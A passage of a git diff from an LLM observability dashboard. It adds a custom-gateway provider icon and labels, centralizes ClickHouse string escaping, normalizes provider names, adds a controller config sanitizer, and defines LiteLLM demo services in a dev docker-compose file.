SvgProps) {+ // Generic "LLM gateway / proxy" mark: a gateway/hub on the left fanning out+ // to multiple model endpoints on the right. Uses currentColor so it adapts+ // to light/dark themes like the other provider marks.+ return (+ <svg+ viewBox="0 0 24 24"+ xmlns="http://www.w3.org/2000/svg"+ className={className}+ fill="none"+ stroke="currentColor"+ strokeWidth="1.8"+ strokeLinecap="round"+ strokeLinejoin="round"+ >+ {/* gateway node */}+ <rect x="2.5" y="9" width="5" height="6" rx="1.2" fill="currentColor" stroke="none" />+ {/* routing lines to the three endpoints */}+ <path d="M7.5 12h3.5" />+ <path d="M11 12l4-5.5" />+ <path d="M11 12h4.5" />+ <path d="M11 12l4 5.5" />+ {/* model endpoints */}+ <circle cx="18" cy="6.5" r="2.4" />+ <circle cx="19.2" cy="12" r="2.4" />+ <circle cx="18" cy="17.5" r="2.4" />+ </svg>+ );+}+const PROVIDER_ICON_MAP: Record<string, React.FC<SvgProps>> = {openai: OpenAISvg,anthropic: AnthropicSvg,@@ -374,6 +404,7 @@ const PROVIDER_ICON_MAP: Record<string, React.FC<SvgProps>> = {vercel_ai: VercelSvg,vertex_ai: VertexSvg,litellm: LiteLLMSvg,+ custom: CustomGatewaySvg,};export function ProviderIcon({@@ -385,6 +416,10 @@ export function ProviderIcon({}) {const Icon = PROVIDER_ICON_MAP[provider.toLowerCase()];if (Icon) return <Icon className={className} />;+ // Unknown providers (e.g. agent frameworks like crewai/langgraph, or future+ // vendors) render no icon rather than a misleading gateway mark. The generic+ // gateway icon is reserved for the explicit `custom` provider above — a+ // self-hosted LLM gateway — not for anything we simply don't recognize.return null;}diff --git a/src/client/src/constants/messages/en.ts b/src/client/src/constants/messages/en.tsindex 788c4c07..95e669d9 100644--- a/src/client/src/constants/messages/en.ts+++ b/src/client/src/constants/messages/en.ts@@ -743,7 +743,8 @@ export const AGENTS_CONFIG_POLL_INTERVAL = "Poll Interval (seconds)";export const AGENTS_CONFIG_POLL_INTERVAL_HELP = "How often the controller polls for updates and reports services. Lower values mean faster action response but more load. (5-300s)";export const AGENTS_CONFIG_EXPORT_SETTINGS = "Export Settings";export const AGENTS_CONFIG_OTLP_ENDPOINT = "OTLP Endpoint";-export const AGENTS_CONFIG_OTLP_ENDPOINT_PLACEHOLDER = "http://localhost:4318";+export const AGENTS_CONFIG_OTLP_ENDPOINT_PLACEHOLDER =+ "Leave empty to use the controller's configured endpoint";export const AGENTS_CONFIG_OTLP_PROTOCOL = "OTLP Protocol";export const AGENTS_CONFIG_OTLP_PROTOCOL_HTTP = "HTTP/Protobuf";export const AGENTS_CONFIG_OTLP_PROTOCOL_GRPC = "gRPC";@@ -773,6 +774,9 @@ export const AGENTS_PROVIDER_VERCEL_AI = "Vercel AI Gateway";export const AGENTS_PROVIDER_VERTEX_AI = "Vertex AI";export const AGENTS_PROVIDER_AZURE_INFERENCE = "Azure AI Inference";export const AGENTS_PROVIDER_BEDROCK = "AWS Bedrock";+export const AGENTS_PROVIDER_QWEN = "Qwen";+export const AGENTS_PROVIDER_OLLAMA = "Ollama";+export const AGENTS_PROVIDER_CUSTOM = "Custom LLM Gateway";// Getting Started - Opengrounddiff --git a/src/client/src/lib/clickhouse-escape.ts b/src/client/src/lib/clickhouse-escape.tsnew file mode 100644index 00000000..24ea8b47--- /dev/null+++ b/src/client/src/lib/clickhouse-escape.ts@@ -0,0 +1,15 @@+// Single source of truth for escaping a string interpolated into a ClickHouse+// SQL string literal. Previously this was duplicated in ~7 files; hoisting it+// means a future hardening applies everywhere at once.+//+// It escapes backslashes and single quotes (preventing the value from breaking+// out of a '...' literal) and strips C0 control characters / DEL, which have no+// legitimate place in these identifiers and could otherwise corrupt a query or+// the JSONEachRow stream.+export function escapeClickHouseString(value: string): string {+ return value+ .replace(/\\/g, "\\\\")+ .replace(/'/g, "\\'")+ // eslint-disable-next-line no-control-regex+ .replace(/[\x00-\x1f\x7f]/g, "");+}diff --git a/src/client/src/lib/platform/agents/aggregate-graph.ts b/src/client/src/lib/platform/agents/aggregate-graph.tsindex f57d3d3c..b4731f24 100644--- a/src/client/src/lib/platform/agents/aggregate-graph.ts+++ b/src/client/src/lib/platform/agents/aggregate-graph.ts@@ -23,10 +23,9 @@ import {import { buildVersionWhereClause } from "./version-filter";import { agentsLogger } from "./logger";import type { VersionFilter } from "@/types/platform";+import { escapeClickHouseString } from "@/lib/clickhouse-escape";-function escape(value: string): string {- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");-}+const escape = escapeClickHouseString;export type AggregateNodeKind = "span" | "tool";diff --git a/src/client/src/lib/platform/agents/index.ts b/src/client/src/lib/platform/agents/index.tsindex 196a8402..b49f676b 100644--- a/src/client/src/lib/platform/agents/index.ts+++ b/src/client/src/lib/platform/agents/index.ts@@ -24,10 +24,9 @@ import type {import { invalidate, POLICY_DETAIL, POLICY_LIST, swr } from "./cache";import { agentsLogger } from "./logger";import { AGENTS_SUMMARY_TABLE } from "./table-details";+import { escapeClickHouseString } from "@/lib/clickhouse-escape";-function escape(value: string): string {- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");-}+const escape = escapeClickHouseString;function escapeList(values: string[]): string {return values.map((v) => `'${escape(v)}'`).join(", ");diff --git a/src/client/src/lib/platform/agents/materialize.ts b/src/client/src/lib/platform/agents/materialize.tsindex d5644d88..9324d728 100644--- a/src/client/src/lib/platform/agents/materialize.ts+++ b/src/client/src/lib/platform/agents/materialize.ts@@ -23,6 +23,8 @@ import {upsertVersion,} from "./snapshot";import { AGENTS_SUMMARY_TABLE } from "./table-details";+import { escapeClickHouseString } from "@/lib/clickhouse-escape";+import { mergeProviders } from "./provider-normalize";/*** Maximum agents the materializer touches in a single tick.@@ -50,9 +52,7 @@ const MAX_AGENTS_PER_TICK = Math.max(*/const _materializeCursor = new Map<string, number>();-function escape(value: string): string {- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");-}+const escape = escapeClickHouseString;interface DiscoveredAgent {agent_key: string;@@ -609,19 +609,13 @@ export async function materializeAgents(// logos on the agents table for freshly-discovered controller// workloads that haven't emitted GenAI spans yet, and for SDK// workloads where the controller saw the import but the snapshot- // window did not yet contain a request. We clone before pushing so- // we don't mutate the snapshot / cached-version arrays in place.- if (agent.controller_llm_providers.length) {- const merged = providers.slice();- const seen = new Set(merged);- for (const p of agent.controller_llm_providers) {- if (p && !seen.has(p)) {- merged.push(p);- seen.add(p);- }- }- providers = merged;- }+ // window did not yet contain a request.+ //+ // mergeProviders canonicalizes names across the two vocabularies+ // (controller short names vs OTel semconv names, e.g. "gemini" vs+ // "gcp.gemini") so the same provider doesn't appear twice with only+ // one matching a logo.+ providers = mergeProviders(providers, agent.controller_llm_providers);const requestCount24h = requestCounts.get(agent.agent_key) || 0;summaryRows.push({diff --git a/src/client/src/lib/platform/agents/provider-normalize.ts b/src/client/src/lib/platform/agents/provider-normalize.tsnew file mode 100644index 00000000..259105f7--- /dev/null+++ b/src/client/src/lib/platform/agents/provider-normalize.ts@@ -0,0 +1,47 @@+// Provider names arrive from two vocabularies that must be unified before they+// are deduped/displayed:+// - the controller's eBPF discovery uses short names: "gemini", "bedrock", ...+// - OBI/SDK traces use the OTel GenAI semconv names: "gcp.gemini",+// "aws.bedrock", "azure.ai.openai", ...+// Without normalization the same provider shows up twice on an agent (e.g.+// "gemini" + "gcp.gemini"), with only one of them matching a logo. We canonicalize+// to the SHORT name, which is what the UI's provider icon/label maps key on.+//+// Keep this in sync as new providers gain semconv names. It is intentionally a+// superset (aliases that don't occur yet are harmless).+const PROVIDER_ALIASES: Record<string, string> = {+ "gcp.gemini": "gemini",+ "gcp.vertex_ai": "vertex_ai",+ "gcp.vertex.ai": "vertex_ai",+ "aws.bedrock": "bedrock",+ "azure.ai.openai": "azure_openai",+ "azure.ai.inference": "azure_inference",+ "az.ai.openai": "azure_openai",+ "az.ai.inference": "azure_inference",+};++/** canonicalProvider maps a provider name (controller-short or OTel-semconv) to+ * the single canonical short form used for dedup and logo/label lookup. */+export function canonicalProvider(name: string): string {+ const key = name.trim().toLowerCase();+ return PROVIDER_ALIASES[key] ?? key;+}++/** mergeProviders unions provider lists, canonicalizing names so aliases of the+ * same provider collapse to one entry. Order is preserved (first occurrence). */+export function mergeProviders(...lists: Array<string[] | undefined>): string[] {+ const seen = new Set<string>();+ const out: string[] = [];+ for (const list of lists) {+ if (!list) continue;+ for (const raw of list) {+ if (!raw) continue;+ const c = canonicalProvider(raw);+ if (!seen.has(c)) {+ seen.add(c);+ out.push(c);+ }+ }+ }+ return out;+}diff --git a/src/client/src/lib/platform/agents/snapshot.ts b/src/client/src/lib/platform/agents/snapshot.tsindex 3e7be32c..b6f9b86e 100644--- a/src/client/src/lib/platform/agents/snapshot.ts+++ b/src/client/src/lib/platform/agents/snapshot.ts@@ -43,10 +43,10 @@ import type {} from "@/types/agents";import { computeAgentKey } from "./index";import { AGENT_VERSIONS_TABLE } from "./table-details";+import { escapeClickHouseString } from "@/lib/clickhouse-escape";+import { mergeProviders } from "./provider-normalize";-function escape(value: string): string {- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");-}+const escape = escapeClickHouseString;function normalizeWhitespace(s: string): string {return (s || "").replace(/\s+/g, " ").trim();@@ -343,8 +343,11 @@ export async function deriveSnapshot(if (row.temperature !== null && row.temperature !== undefined) runtimeConfig.temperature = Number(row.temperature);if (row.top_p !== null && row.top_p !== undefined) runtimeConfig.top_p = Number(row.top_p);if (row.max_tokens !== null && row.max_tokens !== undefined) runtimeConfig.max_tokens = Number(row.max_tokens);- const providers = (row.providers || []).filter(Boolean);- if (providers.length) runtimeConfig.provider = providers.sort()[0];+ // Canonicalize provider names (OTel semconv "gcp.gemini" -> short "gemini")+ // so the stored version + fingerprint + provider chips are consistent with+ // the controller's vocabulary and don't double-count one provider.+ const providers = mergeProviders((row.providers as string[]) || []);+ if (providers.length) runtimeConfig.provider = providers.slice().sort()[0];const hash = fingerprint({systemPrompt: row.system_prompt || "",diff --git a/src/client/src/lib/platform/agents/version-filter.ts b/src/client/src/lib/platform/agents/version-filter.tsindex 50b3e022..fca6b470 100644--- a/src/client/src/lib/platform/agents/version-filter.ts+++ b/src/client/src/lib/platform/agents/version-filter.ts@@ -31,10 +31,9 @@ import { getAgent } from "./index";// have to drag in the DB / next-auth chain. See the comment in// `version-where.ts` for the full rationale.export { buildVersionWhereClause } from "./version-where";+import { escapeClickHouseString } from "@/lib/clickhouse-escape";-function escape(value: string): string {- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");-}+const escape = escapeClickHouseString;function toClickHouseDateTime(value: string | Date): string {if (typeof value === "string") {diff --git a/src/client/src/lib/platform/agents/version-where.ts b/src/client/src/lib/platform/agents/version-where.tsindex 71f8e494..33b918a4 100644--- a/src/client/src/lib/platform/agents/version-where.ts+++ b/src/client/src/lib/platform/agents/version-where.ts@@ -13,10 +13,11 @@* `VersionFilter` type.*/import type { VersionFilter } from "@/types/platform";+// Pure, side-effect-free helper (regex only) — safe to import here without+// dragging in the DB/next-auth chain this leaf module deliberately avoids.+import { escapeClickHouseString } from "@/lib/clickhouse-escape";-function escape(value: string): string {- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");-}+const escape = escapeClickHouseString;/*** ClickHouse DateTime values round-trip best with second precision. Somediff --git a/src/client/src/lib/platform/controller/index.ts b/src/client/src/lib/platform/controller/index.tsindex 39d6050a..a23ee4f3 100644--- a/src/client/src/lib/platform/controller/index.ts+++ b/src/client/src/lib/platform/controller/index.ts@@ -1,4 +1,5 @@import { dataCollector } from "@/lib/platform/common";+import { escapeClickHouseString } from "@/lib/clickhouse-escape";import {CONTROLLER_SERVICES_TABLE,CONTROLLER_INSTANCES_TABLE,@@ -23,9 +24,7 @@ function clickhouseNow(): string {return new Date().toISOString().replace("T", " ").replace(/\.\d{3}Z$/, "");}-function escapeClickHouse(value: string): string {- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");-}+const escapeClickHouse = escapeClickHouseString;// --- ClickHouse queries (OpenLIT dashboard reads/writes) ---diff --git a/src/client/src/lib/platform/controller/validate-config.ts b/src/client/src/lib/platform/controller/validate-config.tsnew file mode 100644index 00000000..c5a26efd--- /dev/null+++ b/src/client/src/lib/platform/controller/validate-config.ts@@ -0,0 +1,160 @@+import type {+ ControllerConfig,+ ExportConfig,+ DiscoveryConfig,+ PayloadExtractionConfig,+} from "@/types/controller";++// Controller config is fetched by every controller instance and then EXECUTED+// by it (export endpoints, payload extractors, custom hosts, sdk_version). It is+// writable by any authenticated dashboard user, so we validate + sanitize it at+// the API ingress before persisting — a malformed or hostile config must never+// reach a poller. This mirrors the controller-side validation (defense in depth)+// and keeps the stored blob to a known, bounded shape.++const MAX_STR = 2048;+const MAX_HOSTS = 256;+const MAX_TARGETS = 512;+const MAX_HEADERS = 64;++// Same safe version grammar the controller enforces (PEP 440-ish): forbids+// whitespace/quotes/;|&$ etc. so it can never break out of a pip install arg.+const SDK_VERSION_RE = /^[A-Za-z0-9][A-Za-z0-9._+-]{0,63}$/;++// C0 control characters + DEL. Stripped from every persisted string so they+// cannot corrupt downstream queries/storage or inject into env/unit files.+// eslint-disable-next-line no-control-regex+const CONTROL_CHARS_RE = /[\x00-\x1f\x7f]/g;++export class ConfigValidationError extends Error {}++function str(v: unknown, field: string): string {+ if (typeof v !== "string") {+ throw new ConfigValidationError(`${field} must be a string`);+ }+ if (v.length > MAX_STR) {+ throw new ConfigValidationError(`${field} exceeds ${MAX_STR} chars`);+ }+ return v.replace(CONTROL_CHARS_RE, "");+}++function optStr(v: unknown, field: string): string | undefined {+ if (v === undefined || v === null) return undefined;+ return str(v, field);+}++function bool(v: unknown): boolean {+ return v === true;+}++function sanitizeExport(raw: unknown): ExportConfig {+ const e = (raw ?? {}) as Record<string, unknown>;+ const headersRaw = (e.otlp_headers ?? {}) as Record<string, unknown>;+ const headers: Record<string, string> = {};+ for (const k of Object.keys(headersRaw).slice(0, MAX_HEADERS)) {+ headers[str(k, "otlp_headers key")] = str(headersRaw[k], `otlp_headers[${k}]`);+ }+ return {+ otlp_endpoint: optStr(e.otlp_endpoint, "export.otlp_endpoint") ?? "",+ otlp_headers: headers,+ otlp_protocol: optStr(e.otlp_protocol, "export.otlp_protocol") ?? "",+ otlp_traces_endpoint: optStr(e.otlp_traces_endpoint, "export.otlp_traces_endpoint"),+ otlp_metrics_endpoint: optStr(e.otlp_metrics_endpoint, "export.otlp_metrics_endpoint"),+ otlp_logs_endpoint: optStr(e.otlp_logs_endpoint, "export.otlp_logs_endpoint"),+ };+}++function sanitizeTargets(arr: unknown, field: string) {+ return (Array.isArray(arr) ? arr : []).slice(0, MAX_TARGETS).map((t) => {+ const o = (t ?? {}) as Record<string, unknown>;+ return {+ service_name: optStr(o.service_name, `${field}.service_name`),+ open_ports: optStr(o.open_ports, `${field}.open_ports`),+ exe_path: optStr(o.exe_path, `${field}.exe_path`),+ cmd_args: optStr(o.cmd_args, `${field}.cmd_args`),+ };+ });+}++function sanitizeK8sSelectors(arr: unknown) {+ return (Array.isArray(arr) ? arr : []).slice(0, MAX_TARGETS).map((s) => {+ const o = (s ?? {}) as Record<string, unknown>;+ return {+ namespace: optStr(o.namespace, "k8s.namespace"),+ deployment_name: optStr(o.deployment_name, "k8s.deployment_name"),+ };+ });+}++function sanitizeDiscovery(raw: unknown): DiscoveryConfig {+ const d = (raw ?? {}) as Record<string, unknown>;+ const k8s = d.kubernetes as Record<string, unknown> | undefined;+ return {+ auto_discover: bool(d.auto_discover),+ instrument: sanitizeTargets(d.instrument, "discovery.instrument"),+ exclude: sanitizeTargets(d.exclude, "discovery.exclude"),+ kubernetes: k8s+ ? {+ enabled: optStr(k8s.enabled, "kubernetes.enabled") ?? "",+ instrument: sanitizeK8sSelectors(k8s.instrument),+ exclude: sanitizeK8sSelectors(k8s.exclude),+ }+ : undefined,+ };+}++function sanitizePayloadExtraction(raw: unknown): PayloadExtractionConfig {+ const p = (raw ?? {}) as Record<string, unknown>;+ return {+ openai: bool(p.openai),+ anthropic: bool(p.anthropic),+ gemini: bool(p.gemini),+ qwen: bool(p.qwen),+ bedrock: bool(p.bedrock),+ custom: bool(p.custom),+ ollama: bool(p.ollama),+ };+}++/**+ * validateControllerConfig sanitizes an untrusted ControllerConfig payload into+ * a known, bounded shape. Throws ConfigValidationError on anything invalid.+ */+export function validateControllerConfig(raw: unknown): ControllerConfig {+ if (!raw || typeof raw !== "object") {+ throw new ConfigValidationError("config must be an object");+ }+ const c = raw as Record<string, unknown>;++ const customHosts = (Array.isArray(c.custom_llm_hosts) ? c.custom_llm_hosts : [])+ .slice(0, MAX_HOSTS)+ .map((h) => str(h, "custom_llm_hosts entry").trim())+ .filter(Boolean);++ let pollInterval: number | undefined;+ if (c.poll_interval_seconds !== undefined && c.poll_interval_seconds !== null) {+ const n = Number(c.poll_interval_seconds);+ if (!Number.isFinite(n) || n < 5 || n > 300) {+ throw new ConfigValidationError(+ "poll_interval_seconds must be a number between 5 and 300"+ );+ }+ pollInterval = Math.floor(n);+ }++ // sdk_version is not part of ControllerConfig but may ride along on some+ // payloads; if present, enforce the safe grammar here too.+ const sdkVersion = (c as Record<string, unknown>).sdk_version;+ if (typeof sdkVersion === "string" && sdkVersion !== "" && !SDK_VERSION_RE.test(sdkVersion)) {+ throw new ConfigValidationError("sdk_version is not a valid version string");+ }++ return {+ export: sanitizeExport(c.export),+ discovery: sanitizeDiscovery(c.discovery),+ payload_extraction: sanitizePayloadExtraction(c.payload_extraction),+ custom_llm_hosts: customHosts,+ environment: optStr(c.environment, "environment"),+ poll_interval_seconds: pollInterval,+ };+}diff --git a/src/client/src/types/controller.ts b/src/client/src/types/controller.tsindex e6b21b45..b35096fa 100644--- a/src/client/src/types/controller.ts+++ b/src/client/src/types/controller.ts@@ -81,22 +81,19 @@ export interface DiscoveryConfig {kubernetes?: K8sDiscovery;}+// Payload extraction toggles map 1:1 to OBI GenAI extractors the controller can+// actually enable. OBI natively parses openai/anthropic/gemini/qwen/bedrock; all+// OpenAI-compatible SaaS vendors are parsed by the OpenAI extractor; `custom`+// covers self-hosted OpenAI-compatible gateways; `ollama` covers Ollama's native+// API. (Discovery may still surface other vendor names as chips — see+// PROVIDER_LABELS — but only these have a dedicated extractor toggle.)export interface PayloadExtractionConfig {openai: boolean;anthropic: boolean;gemini: boolean;- cohere: boolean;- mistral: boolean;- groq: boolean;- azure_openai: boolean;- azure_inference: boolean;+ qwen: boolean;bedrock: boolean;- vercel_ai: boolean;- vertex_ai: boolean;- litellm: boolean;- deepseek: boolean;- together: boolean;- fireworks: boolean;+ custom: boolean;ollama: boolean;}diff --git a/src/dev-docker-compose.yml b/src/dev-docker-compose.ymlindex 87a02480..f905c498 100644--- a/src/dev-docker-compose.yml+++ b/src/dev-docker-compose.yml@@ -90,7 +90,10 @@ services:OTEL_EXPORTER_OTLP_ENDPOINT: http://openlit:4318OPENLIT_POLL_INTERVAL: 10sOPENLIT_PROC_ROOT: /host/proc- OPENLIT_INSTANCE_ID: ${OPENLIT_INSTANCE_ID:-}+ # Pin a stable instance id so controller config (e.g. custom_llm_hosts)+ # set in the UI survives container recreation. Without this the id is+ # derived from the container hostname and changes on every recreate.+ OPENLIT_INSTANCE_ID: ${OPENLIT_INSTANCE_ID:-dev-controller}volumes:- /proc:/host/proc:ro- /sys/kernel/debug:/sys/kernel/debug:ro@@ -154,6 +157,48 @@ services:openlit:condition: service_healthy+ # Self-hosted LiteLLM proxy (an OpenAI-compatible LLM gateway). Uses a+ # mock_response in its config so it serves real OpenAI-format completions+ # without a provider API key. Listens on plain HTTP :4000.+ litellm:+ image: ghcr.io/berriai/litellm:main-latest+ container_name: litellm+ profiles: [full]+ command: ["--config", "/app/config.yaml"]+ environment:+ LITELLM_MASTER_KEY: sk-1234+ volumes:+ - ../examples/litellm-config/config.yaml:/app/config.yaml:ro+ ports:+ - "4000:4000"+ healthcheck:+ test: ["CMD-SHELL", "python -c \"import urllib.request,sys; sys.exit(0 if urllib.request.urlopen('http://localhost:4000/health/liveliness').status==200 else 1)\" || exit 1"]+ interval: 5s+ timeout: 3s+ retries: 10+ start_period: 20s+ restart: always++ # App that calls the LiteLLM proxy via a standard OpenAI client. The+ # controller discovers the connection to litellm:4000 (once litellm:4000 is+ # added to custom_llm_hosts on the controller's Agents page) and surfaces this+ # workload as a Custom LLM Gateway client.+ litellm-app:+ build: ../examples/litellm-chat-app+ container_name: demo-litellm-app+ profiles: [full]+ environment:+ LITELLM_BASE_URL: http://litellm:4000+ LITELLM_API_KEY: sk-1234+ MODEL: gpt-4o-mini+ REQUEST_INTERVAL_SECONDS: "20"+ restart: unless-stopped+ depends_on:+ litellm:+ condition: service_healthy+ openlit:+ condition: service_healthy+# SDK-instrumented sample agent.# Uses openlit.init() to auto-instrument an OpenAI client. An in-process# OpenAI-compatible mock LLM lets the calls succeed without a real API key,